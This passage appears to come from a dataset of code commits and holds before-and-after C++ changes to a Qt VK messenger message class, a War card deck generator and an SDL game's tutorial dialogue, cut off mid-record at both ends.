arg;\n}\n\nvoid VKContainerMessage::addFwdMsg(QSharedPointer<VKContainerMessage> arg) {\n    m_fwd.append(arg);\n}\n\nvoid VKContainerMessage::setAttachments(QSharedPointer<VKContainerAttachments> attachments) {\n    m_attachments = attachments;\n}\n\nvoid VKContainerMessage::setAction(QSharedPointer<VKContainerMessageAction> action) {\n    m_action = action;\n}\n\nvoid VKContainerMessage::setReadState(bool arg) {\n    m_readState = arg;\n    for (auto e: m_fwd) {\n        e->setReadState(arg);\n    }\n}\n\nvoid VKContainerMessage::processEmoji(QString &s) {\n\n    VKEmojiParser parser;\n    parser.parse(s);\n}\n\nbool VKContainerMessage::isValid() {\n    return m_valid;\n}\n\nint VKContainerMessage::countFwd() {\n    return m_fwd.count();\n}\n\nVKContainerMessage* VKContainerMessage::getFwdPtr(int i) const {\n    return m_fwd.at(i).data();\n}\n\nQSharedPointer<VKContainerMessage> VKContainerMessage::getFwd(int i) const {\n    return m_fwd.at(i);\n}\n\n<commit_msg>Fixed read_state property (now correctly set for forward messages)<commit_after>#include \"vkcontainermessage.h\"\n#include \"vkhandlermessages.h\"\n#include \"vkcontainermessageaction.h\"\n#include \"vkemojiparser.h\"\n\nVKContainerMessage::VKContainerMessage(QObject *parent) :\n    VKAbstractContainer(parent)\n{\n    setReadState(false);\n}\n\nVKContainerMessage::~VKContainerMessage()\n{\n}\n\nQSharedPointer<VKContainerMessage> VKContainerMessage::fromJson(VKStorage *storage, QJsonObject obj, QJsonArray users, QVector<int> &userIds) {\n    auto message = QSharedPointer<VKContainerMessage>(new VKContainerMessage);\n\n    QDateTime date;\n    date.setTime_t(obj.value(\"date\").toInt());\n    message->setMsgId(obj.value(\"id\").toInt());\n    message->setDate(date);\n    message->setIsIncoming(obj.value(\"out\").toInt() == 0);\n\n    if (message->isIncoming()) {\n        bool userFound = false;\n        int id = obj.value(\"user_id\").toInt();\n\n        for (const auto &e : users) {\n            auto el = e.toObject();\n            if (el.value(\"id\").toInt() == id) {\n                auto user = VKContainerUser::fromJson(storage, el);\n                message->setUser(user);\n                userFound = true;\n                break;\n            }\n        }\n        if (!userFound) {\n            message->setUser(QSharedPointer<VKContainerUser>(new VKContainerUser));\n            message->user()->valid(false);\n            message->user()->setId(id);\n            userIds.append(id);\n        }\n    } else {\n        message->setUser(storage->getUserById(storage->ourUserId()));\n    }\n\n    message->setReadState(obj.value(\"read_state\").toInt() == 1);\n\n    auto body = obj.value(\"body\").toString();\n    if (obj.contains(\"emoji\") && obj.value(\"emoji\").toInt() == 1) {\n        VKContainerMessage::processEmoji(body);\n    }\n    message->setBody(body);\n\n    if (obj.value(\"chat_id\").isDouble()){\n        message->setChatId(obj.value(\"chat_id\").toInt());\n    } else {\n        message->setChatId(obj.value(\"user_id\").toInt());\n    }\n\n    auto fwdMessages = obj.value(\"fwd_messages\").toArray();\n    for (auto e: fwdMessages) {\n        auto fwd = e.toObject();\n        QVector<int> unknownUsers;\n        auto msg = VKContainerMessage::fromJson(storage, fwd, users, unknownUsers);\n        message->addFwdMsg(msg);\n        userIds += unknownUsers;\n    }\n\n    message->setAttachments( VKContainerAttachments::fromJson(storage, obj.value(\"attachments\").toArray()));\n\n    message->setAction(VKContainerMessageAction::fromJson(storage, obj, users, userIds));\n\n    return message;\n}\n\nvoid VKContainerMessage::complete(VKAbstractHandler *_h) {\n    auto h = dynamic_cast<VKHandlerUsers*>(_h);\n    for (int i=0;i<h->count() && h;i++) {\n        auto el = h->get(i);\n        if (user()->id() == el->id()) {\n            qDebug()<<\"Message with id\"<<msgId()<<\"completed with user id\"<<el->id();\n            setUser(el);\n            break;\n        }\n    }\n    for (auto e: m_fwd) {\n        e->complete(_h);\n    }\n    m_action->complete(h);\n    m_user->complete(h);\n    m_attachments->complete(h);\n}\n\n\nvoid VKContainerMessage::setUser(QSharedPointer<VKContainerUser> arg) {\n    m_user = arg;\n}\n\nvoid VKContainerMessage::addFwdMsg(QSharedPointer<VKContainerMessage> arg) {\n    arg->setReadState(readState());\n    m_fwd.append(arg);\n}\n\nvoid VKContainerMessage::setAttachments(QSharedPointer<VKContainerAttachments> attachments) {\n    m_attachments = attachments;\n}\n\nvoid VKContainerMessage::setAction(QSharedPointer<VKContainerMessageAction> action) {\n    m_action = action;\n}\n\nvoid VKContainerMessage::setReadState(bool arg) {\n    m_readState = arg;\n    for (auto e: m_fwd) {\n        e->setReadState(arg);\n    }\n}\n\nvoid VKContainerMessage::processEmoji(QString &s) {\n\n    VKEmojiParser parser;\n    parser.parse(s);\n}\n\nbool VKContainerMessage::isValid() {\n    return m_valid;\n}\n\nint VKContainerMessage::countFwd() {\n    return m_fwd.count();\n}\n\nVKContainerMessage* VKContainerMessage::getFwdPtr(int i) const {\n    return m_fwd.at(i).data();\n}\n\nQSharedPointer<VKContainerMessage> VKContainerMessage::getFwd(int i) const {\n    return m_fwd.at(i);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef WARGEN_CPP\n#define WARGEN_CPP\n\n#include <algorithm>\n#include <vector>\n#include <iostream>\n#include <ctime>\n#include <cstdlib>\n\nint main() {\n    std::srand(std::time(0));\n\n\n    char cards[52] = {'1','1','1','1','2','2','2','2','3','3','3','3','4','4','4','4','5','5','5','5','6','6','6','6','7','7','7','7','8','8','8','8','9','9','9','9','T','T','T','T','J','J','J','J','Q','Q','Q','Q','K','K','K','K'};\n\n    std::random_shuffle(&cards[0], &cards[51]);\n\n    for(int i = 0; i < 52; i++) {\n        std::cout << cards[i];\n        std::cout << \" \";\n        if(i==25) {\n            std::cout << \"\\n\";\n        }\n    }\n\n};\n\n#endif\n<commit_msg>fixing WarGen for Aces high<commit_after>#ifndef WARGEN_CPP\n#define WARGEN_CPP\n\n#include <algorithm>\n#include <vector>\n#include <iostream>\n#include <ctime>\n#include <cstdlib>\n\nint main() {\n    std::srand(std::time(0));\n\n\n    char cards[52] = {'2','2','2','2','3','3','3','3','4','4','4','4','5','5','5','5','6','6','6','6','7','7','7','7','8','8','8','8','9','9','9','9','T','T','T','T','J','J','J','J','Q','Q','Q','Q','K','K','K','K', 'A', 'A', 'A', 'A'};\n\n    std::random_shuffle(&cards[0], &cards[51]);\n\n    for(int i = 0; i < 52; i++) {\n        std::cout << cards[i];\n        std::cout << \" \";\n        if(i==25) {\n            std::cout << \"\\n\";\n        }\n    }\n\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Created by dar on 11\/27\/15.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <gui\/GuiText.h>\n#include <gui\/GuiButton.h>\n#include \"Game.h\"\n#include \"..\/core\/Core.h\"\n#include \"..\/core\/map\/TiledTxtMapLoader.h\"\n#include \"render\/RenderManager.h\"\n#include \"InputManager.h\"\n#include <core\/map\/entity\/EntityBullet.h>\n#include <gui\/GuiTextBubble.h>\n#include <core\/map\/entity\/EntityDoor.h>\n#include <core\/map\/entity\/EntityFurniture.h>\n#include \"..\/logging.h\"\n\nGame::Game(const std::function<bool(Window *window)> &switchWindow) : Window(switchWindow) {\n    initShapeDefinitions();\n    MapLoader *mapLoader = new TiledTxtMapLoader(\"test_map\");\n    Map *bmap = mapLoader->loadMap();\n    this->core = new Core(bmap);\n    delete mapLoader;\n\n    double ringScale = 2 * this->core->getBlockSize();\n    this->entityRotationRing = new GuiElement(GUI_TOP_LEFT, 0, 0, ringScale, ringScale, 6);\n    this->entityRotationRing->setVisible(false);\n    this->entityRotationRing->setAngle(2);\n    this->guiElements.push_back(this->entityRotationRing);\n\n    GuiElement *character = new GuiElement(GUI_TOP_RIGHT, 0, 50, 150, 150, 17);\n    this->guiElements.push_back(character);\n    GuiElement *window = new GuiTextBubble(GUI_TOP_RIGHT, 160, 60, 400, 170);\n    this->guiElements.push_back(window);\n    GuiText *text = new GuiText(string(\"Hey, I am Willy. I will \\nguide you around this \\nplace. I am the \\nghost from the blah \\nblah blah blah...\"), -500, 73, GUI_TOP_LEFT, 24, 0x666666FF, 0);\n    this->guiElements.push_back(text);\n    this->popup[0] = character;\n    this->popup[1] = window;\n    this->popup[2] = text;\n\n    GuiText *t = new GuiText(string(\"Dev Build: \") + __DATE__ + \" \" + __TIME__, 15, 15, GUI_BOTTOM_LEFT, 32, 0xFFFFFFFF, 0);\n    this->guiElements.push_back(t);\n}\n\nvoid Game::reload(unsigned int windowWidth, unsigned int windowHeight) {\n    for (GuiElement *e : this->guiElements) {\n        e->reinit(windowWidth, windowHeight);\n    }\n\n    this->windowWidth = windowWidth;\n    this->windowHeight = windowHeight;\n    SDL_StartTextInput();\n}\n\nvoid Game::tick(double deltaTime) {\n    this->core->getMap()->update(deltaTime);\n    this->core->getMap()->getWorld()->Step(deltaTime, 8, 3);\n    for (int i = 0; i < this->core->getMap()->getEntities().size(); i++) {\n        Entity *entity = this->core->getMap()->getEntities().at(i);\n        if (entity->isToBeDeleted()) {\n            this->core->getMap()->removeEntity(entity);\n            i--;\n        }\n    }\n\n    static float ghostMovement = -1.5f;\n    ghostMovement += deltaTime * 0.95;\n    for (int i = 0; i < 3; i++) {\n        this->popup[i]->setVisible(false);\n    }\n    if (ghostMovement >= 0) {\n        if (ghostMovement > 1) ghostMovement = 1;\n        double gx = (this->windowWidth \/ 2 - this->popup[0]->getWidth() \/ 4) * (1 + ghostMovement);\n        double gy = (this->windowHeight \/ 2) * (1 - ghostMovement * ghostMovement) + (this->popup[0]->getHeight() \/ 2 + 50) * ghostMovement;\n        this->popup[0]->setX(gx - this->popup[0]->getWidth() \/ 2);\n        this->popup[0]->setY(gy - this->popup[0]->getHeight() \/ 2);\n        int color = this->popup[0]->getColor() & 0xFFFFFF00;\n        double ghostAlpha = std::min(ghostMovement * 2.0f, 1.0f);\n        color |= (int) (ghostAlpha * 255);\n        this->popup[0]->setAngle(M_PI_2 * (1 - ghostMovement * ghostMovement));\n        this->popup[0]->setColor(color);\n        this->popup[2]->setX(this->popup[1]->getX() + 10);\n\n        static float tutorialTextAlpha = -0.2f;\n\n        this->popup[0]->setVisible(true);\n        for (int i = 1; i < 3; i++) {\n            this->popup[i]->setVisible(tutorialTextAlpha > 0);\n        }\n\n        if (ghostMovement == 1) {\n            tutorialTextAlpha += deltaTime * 0.6;\n            if (tutorialTextAlpha > 1) tutorialTextAlpha = 1;\n            if (tutorialTextAlpha > 0) {\n                for (int i = 1; i < 3; i++) {\n                    int color = this->popup[i]->getColor() & 0xFFFFFF00;\n                    color |= (int) (tutorialTextAlpha * 255);\n                    this->popup[i]->setColor(color);\n                }\n            }\n        }\n    }\n\n    double dx = (this->core->getPlayer()->getX() + this->core->getPlayer()->getWidth() \/ 2 - 1) * this->core->getBlockSize() * this->core->getGeneralScale() + this->core->getCamX();\n    double dy = (this->core->getPlayer()->getY() + this->core->getPlayer()->getHeight() \/ 2 - 1) * this->core->getBlockSize() * this->core->getGeneralScale() + this->core->getCamY();\n    if (abs(dx) > 2) this->core->setCamX(-this->core->getCamX() + (dx) * 0.05);\n    if (abs(dy) > 2) this->core->setCamY(-this->core->getCamY() + (dy) * 0.05);\n\n    double camX = this->core->getCamX(), camY = this->core->getCamY();\n    if (-camX < this->windowWidth \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamX(this->windowWidth \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camY < this->windowHeight \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamY(this->windowHeight \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camX > -(signed) this->windowWidth \/ 2 + (this->core->getMap()->getWidth() - 1) * this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamX(-(signed) this->windowWidth \/ 2 + (this->core->getMap()->getWidth() - 1) * this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camY > -(signed) this->windowHeight \/ 2 + (this->core->getMap()->getHeight() - 1) * this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamY(-(signed) this->windowHeight \/ 2 + (this->core->getMap()->getHeight() - 1) * this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n}\n\nvoid Game::handleKeyboard(const Keypress *const keypress) {\n    if (keypress[SDLK_c].isPressed()) {\n        double angle = atan2(0, 0) + M_PI; \/\/TODO\n        EntityBullet *p = new EntityBullet(this->core->getMap(), angle, 1);\n        p->setX(this->core->getPlayer()->getX() - (p->getWidth()) + 0.5 * cos(angle));\n        p->setY(this->core->getPlayer()->getY() - (p->getHeight()) + 0.5 * sin(angle));\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_n].isPressed()) {\n        Entity *p;\n        switch (rand() % 6) {\n            case 0:\n                p = new EntityFridge(this->core->getMap());\n                break;\n            case 1:\n                p = new EntityTruck(this->core->getMap());\n                break;\n            case 2:\n                p = new EntityBulldozer(this->core->getMap());\n                break;\n            case 3:\n                p = new EntityWardrobe(this->core->getMap());\n                break;\n            case 4:\n                p = new EntityTable(this->core->getMap());\n                break;\n            case 5:\n                p = new EntityChair(this->core->getMap());\n                break;\n            default:\n                p = new EntityDoor(this->core->getMap(), 0);\n                break;\n        }\n        p->setX(this->core->getPlayer()->getX() - this->core->getPlayer()->getWidth() \/ 2);\n        p->setY(this->core->getPlayer()->getY() - this->core->getPlayer()->getHeight() \/ 2);\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_m].isPressed()) {\n        SimpleShape *p = new SimpleShape(this->core->getMap(), (unsigned int) (rand() % 3));\n        p->setX(this->core->getPlayer()->getX() - this->core->getPlayer()->getWidth() \/ 2);\n        p->setY(this->core->getPlayer()->getY() - this->core->getPlayer()->getHeight() \/ 2);\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_k].isPressed()) {\n        if (this->core->getPlayer()->getToy() == nullptr) {\n            this->core->getPlayer()->setToy();\n        } else {\n            this->core->getPlayer()->eject();\n        }\n    }\n    double playerSpeed = this->core->getPlayer()->getSpeed();\n    if (keypress[SDLK_w].isDown()) {\n        this->core->getPlayer()->applyImpulse(0, -playerSpeed);\n    }\n    if (keypress[SDLK_s].isDown()) {\n        this->core->getPlayer()->applyImpulse(0, playerSpeed);\n    }\n    if (keypress[SDLK_a].isDown()) {\n        this->core->getPlayer()->applyImpulse(-playerSpeed, 0);\n    }\n    if (keypress[SDLK_d].isDown()) {\n        this->core->getPlayer()->applyImpulse(playerSpeed, 0);\n    }\n    if (keypress[SDLK_q].isPressed()) {\n        this->core->stop();\n    }\n    if (keypress[SDLK_p].isPressed()) {\n        this->core->getMap()->saveEntities();\n    }\n    if (keypress[SDLK_MINUS].isDown()) {\n        this->core->setBlockSize(this->core->getBlockSize() - 0.15);\n    }\n    if (keypress[SDLK_EQUALS].isDown()) {\n        this->core->setBlockSize(this->core->getBlockSize() + 0.15);\n    }\n}\n\nvoid Game::handleClick(const TouchPoint *const p) {\n    float x = (float) ((-this->core->getCamX() - (double) this->windowWidth \/ 2 + p->x) \/ this->core->getGeneralScale() \/ this->core->getBlockSize() + 0.5);\n    float y = (float) ((-this->core->getCamY() - (double) this->windowHeight \/ 2 + p->y) \/ this->core->getGeneralScale() \/ this->core->getBlockSize() + 0.5);\n    if (p->id == SDL_BUTTON_LEFT) {\n        if (p->state == 0) {\n            this->heldEntity = this->core->getMap()->getEntityAt<Entity>(x, y);\n            int i = 0;\n        } else if (p->state == 2) {\n            if (this->heldEntity != nullptr && !this->entityRotationRing->isVisible()) {\n                Entity *e = this->heldEntity;\n                e->setX(x + e->getWidth() \/ 2);\n                e->setY(y + e->getHeight() \/ 2);\n            }\n        } else if (p->state == 1) {\n            if (this->heldEntity == nullptr) {\n                SimpleShape *s = new SimpleShape(this->core->getMap(), (unsigned int) (rand() % 3));\n                s->setX(x + s->getWidth() \/ 2);\n                s->setY(y + s->getWidth() \/ 2);\n                this->core->getMap()->addEntity(s);\n            } else {\n                this->heldEntity = nullptr;\n                if (this->entityRotationRing->isVisible()) {\n                    this->entityRotationRing->setVisible(false);\n                    SDL_ShowCursor(true);\n                    SDL_WarpMouseGlobal(this->mouseLockX, this->mouseLockY);\n                }\n            }\n        }\n    } else if (p->id == SDL_BUTTON_MIDDLE) {\n        if (p->state == 0) {\n            this->heldEntity = this->core->getMap()->getEntityAt<Entity>(x, y);\n        } else if (p->state == 1) {\n            if (this->heldEntity != nullptr && this->core->getMap()->getEntityAt<Entity>(x, y) == this->heldEntity) {\n                this->heldEntity->remove();\n            }\n        }\n    } else if (p->id == SDL_BUTTON_RIGHT) {\n        if (p->state == 0) {\n            if (this->heldEntity != nullptr) {\n                this->entityRotationRing->setX(p->x - this->entityRotationRing->getWidth() \/ 2);\n                this->entityRotationRing->setY(p->y - this->entityRotationRing->getHeight() \/ 2);\n                this->entityRotationRing->setAngle(this->heldEntity->getAngle());\n                this->entityRotationRing->setVisible(true);\n                SDL_GetGlobalMouseState(&this->mouseLockX, &this->mouseLockY);\n                SDL_ShowCursor(false);\n            }\n        } else if (p->state == 2) {\n            if (this->heldEntity != nullptr) {\n                int x, y;\n                SDL_GetGlobalMouseState(&x, &y);\n                double angle = 10.0 * (x - this->mouseLockX) \/ this->windowWidth;\n                this->entityRotationRing->setAngle(angle);\n                this->heldEntity->setAngle(angle);\n            }\n        } else if (p->state == 1) {\n            if (this->entityRotationRing->isVisible()) {\n                this->entityRotationRing->setVisible(false);\n                SDL_ShowCursor(true);\n                SDL_WarpMouseGlobal(this->mouseLockX, this->mouseLockY);\n            }\n        }\n    }\n}\n\nGame::~Game() {\n    SDL_StopTextInput();\n    delete this->core;\n}\n<commit_msg>Added a couple of tutorial lines to the game<commit_after>\/\/\n\/\/ Created by dar on 11\/27\/15.\n\/\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <gui\/GuiText.h>\n#include <gui\/GuiButton.h>\n#include \"Game.h\"\n#include \"..\/core\/Core.h\"\n#include \"..\/core\/map\/TiledTxtMapLoader.h\"\n#include \"render\/RenderManager.h\"\n#include \"InputManager.h\"\n#include <core\/map\/entity\/EntityBullet.h>\n#include <gui\/GuiTextBubble.h>\n#include <core\/map\/entity\/EntityDoor.h>\n#include <core\/map\/entity\/EntityFurniture.h>\n#include \"..\/logging.h\"\n\nGame::Game(const std::function<bool(Window *window)> &switchWindow) : Window(switchWindow) {\n    initShapeDefinitions();\n    MapLoader *mapLoader = new TiledTxtMapLoader(\"test_map\");\n    Map *bmap = mapLoader->loadMap();\n    this->core = new Core(bmap);\n    delete mapLoader;\n\n    double ringScale = 2 * this->core->getBlockSize();\n    this->entityRotationRing = new GuiElement(GUI_TOP_LEFT, 0, 0, ringScale, ringScale, 6);\n    this->entityRotationRing->setVisible(false);\n    this->entityRotationRing->setAngle(2);\n    this->guiElements.push_back(this->entityRotationRing);\n\n    GuiElement *character = new GuiElement(GUI_TOP_RIGHT, 0, 50, 150, 150, 17);\n    this->guiElements.push_back(character);\n    GuiElement *window = new GuiTextBubble(GUI_TOP_RIGHT, 160, 60, 280, 51);\n    this->guiElements.push_back(window);\n    GuiText *text = new GuiText(string(\"Oh... Em... Hello!\"), -500, 76, GUI_TOP_LEFT, 24, 0x666666FF, 0);\n    this->guiElements.push_back(text);\n    this->popup[0] = character;\n    this->popup[1] = window;\n    this->popup[2] = text;\n\n    GuiText *t = new GuiText(string(\"Dev Build: \") + __DATE__ + \" \" + __TIME__, 15, 15, GUI_BOTTOM_LEFT, 32, 0xFFFFFFFF, 0);\n    this->guiElements.push_back(t);\n}\n\nvoid Game::reload(unsigned int windowWidth, unsigned int windowHeight) {\n    for (GuiElement *e : this->guiElements) {\n        e->reinit(windowWidth, windowHeight);\n    }\n\n    this->windowWidth = windowWidth;\n    this->windowHeight = windowHeight;\n    SDL_StartTextInput();\n}\n\nvoid Game::tick(double deltaTime) {\n    this->core->getMap()->update(deltaTime);\n    this->core->getMap()->getWorld()->Step(deltaTime, 8, 3);\n    for (int i = 0; i < this->core->getMap()->getEntities().size(); i++) {\n        Entity *entity = this->core->getMap()->getEntities().at(i);\n        if (entity->isToBeDeleted()) {\n            this->core->getMap()->removeEntity(entity);\n            i--;\n        }\n    }\n\n    static float ghostMovement = -1.0f;\n    ghostMovement += deltaTime * 0.95;\n    for (int i = 0; i < 3; i++) {\n        this->popup[i]->setVisible(false);\n    }\n    if (ghostMovement >= 0) {\n        if (ghostMovement > 1) ghostMovement = 1;\n        double gx = (this->windowWidth \/ 2 - this->popup[0]->getWidth() \/ 4) * (1 + ghostMovement);\n        double gy = (this->windowHeight \/ 2) * (1 - ghostMovement * ghostMovement) + (this->popup[0]->getHeight() \/ 2 + 50) * ghostMovement;\n        this->popup[0]->setX(gx - this->popup[0]->getWidth() \/ 2);\n        this->popup[0]->setY(gy - this->popup[0]->getHeight() \/ 2);\n        int color = this->popup[0]->getColor() & 0xFFFFFF00;\n        double ghostAlpha = std::min(ghostMovement * 2.0f, 1.0f);\n        color |= (int) (ghostAlpha * 255);\n        this->popup[0]->setAngle(M_PI_2 * (1 - ghostMovement * ghostMovement));\n        this->popup[0]->setColor(color);\n        this->popup[2]->setX(this->popup[1]->getX() + 10);\n\n        static float dialogueAlpha = -0.2f;\n\n        this->popup[0]->setVisible(true);\n        for (int i = 1; i < 3; i++) {\n            this->popup[i]->setVisible(dialogueAlpha > 0);\n        }\n\n        if (ghostMovement == 1) {\n            static int dialogueNum = 1;\n            static float dialogueDuration = 3.0f;\n            dialogueAlpha += deltaTime * 0.9;\n            if (dialogueAlpha > 0) {\n                for (int i = 1; i < 3; i++) {\n                    int color = this->popup[i]->getColor() & 0xFFFFFF00;\n                    float alpha = (dialogueAlpha < dialogueDuration) ? dialogueAlpha : std::max(dialogueDuration + 1.0f - dialogueAlpha, 0.0f);\n                    color |= (int) (std::min(1.0f, alpha) * 255);\n                    this->popup[i]->setColor(color);\n                }\n            }\n\n            if (dialogueAlpha > dialogueDuration + 1.0f) {\n                dialogueNum++;\n                switch (dialogueNum) {\n                    case 2: {\n                        this->popup[1]->setWidth(407);\n                        this->popup[1]->setHeight(75);\n                        this->popup[1]->reinit(this->windowWidth, this->windowHeight);\n                        ((GuiText *) this->popup[2])->updateString(\"I'm Willy. I'm the\\nchildren guardian ghost.\");\n                        ((GuiText *) this->popup[2])->setY(73);\n                        dialogueAlpha = -0.2f;\n                        dialogueDuration = 4.5f;\n                        break;\n                    }\n                    case 3: {\n                        this->popup[1]->setWidth(250);\n                        this->popup[1]->setHeight(51);\n                        this->popup[1]->reinit(this->windowWidth, this->windowHeight);\n                        ((GuiText *) this->popup[2])->updateString(\"And you are...?\");\n                        ((GuiText *) this->popup[2])->setY(76);\n                        dialogueAlpha = -0.2f;\n                        dialogueDuration = 3.0f;\n                        break;\n                    }\n                    default:\n                        break;\n                }\n                dialogueAlpha = -0.2f;\n            }\n\n            \/*if (tutorialTextAlpha == 1) {\n                static float dialogue1Alpha = -1.5f;\n                dialogue1Alpha += deltaTime * 0.6;\n                if (dialogue1Alpha > 1) dialogue1Alpha = 1;\n\n            }*\/\n        }\n    }\n\n    double dx = (this->core->getPlayer()->getX() + this->core->getPlayer()->getWidth() \/ 2 - 1) * this->core->getBlockSize() * this->core->getGeneralScale() + this->core->getCamX();\n    double dy = (this->core->getPlayer()->getY() + this->core->getPlayer()->getHeight() \/ 2 - 1) * this->core->getBlockSize() * this->core->getGeneralScale() + this->core->getCamY();\n    if (abs(dx) > 2) this->core->setCamX(-this->core->getCamX() + (dx) * 0.05);\n    if (abs(dy) > 2) this->core->setCamY(-this->core->getCamY() + (dy) * 0.05);\n\n    double camX = this->core->getCamX(), camY = this->core->getCamY();\n    if (-camX < this->windowWidth \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamX(this->windowWidth \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camY < this->windowHeight \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamY(this->windowHeight \/ 2 - this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camX > -(signed) this->windowWidth \/ 2 + (this->core->getMap()->getWidth() - 1) * this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamX(-(signed) this->windowWidth \/ 2 + (this->core->getMap()->getWidth() - 1) * this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n    if (-camY > -(signed) this->windowHeight \/ 2 + (this->core->getMap()->getHeight() - 1) * this->core->getBlockSize() * this->core->getGeneralScale()) {\n        this->core->setCamY(-(signed) this->windowHeight \/ 2 + (this->core->getMap()->getHeight() - 1) * this->core->getBlockSize() * this->core->getGeneralScale());\n    }\n}\n\nvoid Game::handleKeyboard(const Keypress *const keypress) {\n    if (keypress[SDLK_c].isPressed()) {\n        double angle = atan2(0, 0) + M_PI; \/\/TODO\n        EntityBullet *p = new EntityBullet(this->core->getMap(), angle, 1);\n        p->setX(this->core->getPlayer()->getX() - (p->getWidth()) + 0.5 * cos(angle));\n        p->setY(this->core->getPlayer()->getY() - (p->getHeight()) + 0.5 * sin(angle));\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_n].isPressed()) {\n        Entity *p;\n        switch (rand() % 6) {\n            case 0:\n                p = new EntityFridge(this->core->getMap());\n                break;\n            case 1:\n                p = new EntityTruck(this->core->getMap());\n                break;\n            case 2:\n                p = new EntityBulldozer(this->core->getMap());\n                break;\n            case 3:\n                p = new EntityWardrobe(this->core->getMap());\n                break;\n            case 4:\n                p = new EntityTable(this->core->getMap());\n                break;\n            case 5:\n                p = new EntityChair(this->core->getMap());\n                break;\n            default:\n                p = new EntityDoor(this->core->getMap(), 0);\n                break;\n        }\n        p->setX(this->core->getPlayer()->getX() - this->core->getPlayer()->getWidth() \/ 2);\n        p->setY(this->core->getPlayer()->getY() - this->core->getPlayer()->getHeight() \/ 2);\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_m].isPressed()) {\n        SimpleShape *p = new SimpleShape(this->core->getMap(), (unsigned int) (rand() % 3));\n        p->setX(this->core->getPlayer()->getX() - this->core->getPlayer()->getWidth() \/ 2);\n        p->setY(this->core->getPlayer()->getY() - this->core->getPlayer()->getHeight() \/ 2);\n        this->core->getMap()->addEntity(p);\n    }\n    if (keypress[SDLK_k].isPressed()) {\n        if (this->core->getPlayer()->getToy() == nullptr) {\n            this->core->getPlayer()->setToy();\n        } else {\n            this->core->getPlayer()->eject();\n        }\n    }\n    double playerSpeed = this->core->getPlayer()->getSpeed();\n    if (keypress[SDLK_w].isDown()) {\n        this->core->getPlayer()->applyImpulse(0, -playerSpeed);\n    }\n    if (keypress[SDLK_s].isDown()) {\n        this->core->getPlayer()->applyImpulse(0, playerSpeed);\n    }\n    if (keypress[SDLK_a].isDown()) {\n        this->core->getPlayer()->applyImpulse(-playerSpeed, 0);\n    }\n    if (keypress[SDLK_d].isDown()) {\n        this->core->getPlayer()->applyImpulse(playerSpeed, 0);\n    }\n    if (keypress[SDLK_q].isPressed()) {\n        this->core->stop();\n    }\n    if (keypress[SDLK_p].isPressed()) {\n        this->core->getMap()->saveEntities();\n    }\n    if (keypress[SDLK_MINUS].isDown()) {\n        this->core->setBlockSize(this->core->getBlockSize() - 0.15);\n    }\n    if (keypress[SDLK_EQUALS].isDown()) {\n        this->core->setBlockSize(this->core->getBlockSize() + 0.15);\n    }\n}\n\nvoid Game::handleClick(const TouchPoint *const p) {\n    float x = (float) ((-this->core->getCamX() - (double) this->windowWidth \/ 2 + p->x) \/ this->core->getGeneralScale() \/ this->core->getBlockSize() + 0.5);\n    float y = (float) ((-this->core->getCamY() - (double) this->windowHeight \/ 2 + p->y) \/ this->core->getGeneralScale() \/ this->core->getBlockSize() + 0.5);\n    if (p->id == SDL_BUTTON_LEFT) {\n        if (p->state == 0) {\n            this->heldEntity = this->core->getMap()->getEntityAt<Entity>(x, y);\n            int i = 0;\n        } else if (p->state == 2) {\n            if (this->heldEntity != nullptr && !this->entityRotationRing->isVisible()) {\n                Entity *e = this->heldEntity;\n                e->setX(x + e->getWidth() \/ 2);\n                e->setY(y + e->getHeight() \/ 2);\n            }\n        } else if (p->state == 1) {\n            if (this->heldEntity == nullptr) {\n                SimpleShape *s = new SimpleShape(this->core->getMap(), (unsigned int) (rand() % 3));\n                s->setX(x + s->getWidth() \/ 2);\n                s->setY(y + s->getWidth() \/ 2);\n                this->core->getMap()->addEntity(s);\n            } else {\n                this->heldEntity = nullptr;\n                if (this->entityRotationRing->isVisible()) {\n                    this->entityRotationRing->setVisible(false);\n                    SDL_ShowCursor(true);\n                    SDL_WarpMouseGlobal(this->mouseLockX, this->mouseLockY);\n                }\n            }\n        }\n    } else if (p->id == SDL_BUTTON_MIDDLE) {\n        if (p->state == 0) {\n            this->heldEntity = this->core->getMap()->getEntityAt<Entity>(x, y);\n        } else if (p->state == 1) {\n            if (this->heldEntity != nullptr && this->core->getMap()->getEntityAt<Entity>(x, y) == this->heldEntity) {\n                this->heldEntity->remove();\n            }\n        }\n    } else if (p->id == SDL_BUTTON_RIGHT) {\n        if (p->state == 0) {\n            if (this->heldEntity != nullptr) {\n                this->entityRotationRing->setX(p->x - this->entityRotationRing->getWidth() \/ 2);\n                this->entityRotationRing->setY(p->y - this->entityRotationRing->getHeight() \/ 2);\n                this->entityRotationRing->setAngle(this->heldEntity->getAngle());\n                this->entityRotationRing->setVisible(true);\n                SDL_GetGlobalMouseState(&this->mouseLockX, &this->mouseLockY);\n                SDL_ShowCursor(false);\n            }\n        } else if (p->state == 2) {\n            if (this->heldEntity != nullptr) {\n                int x, y;\n                SDL_GetGlobalMouseState(&x, &y);\n                double angle = 10.0 * (x - this->mouseLockX) \/ this->windowWidth;\n                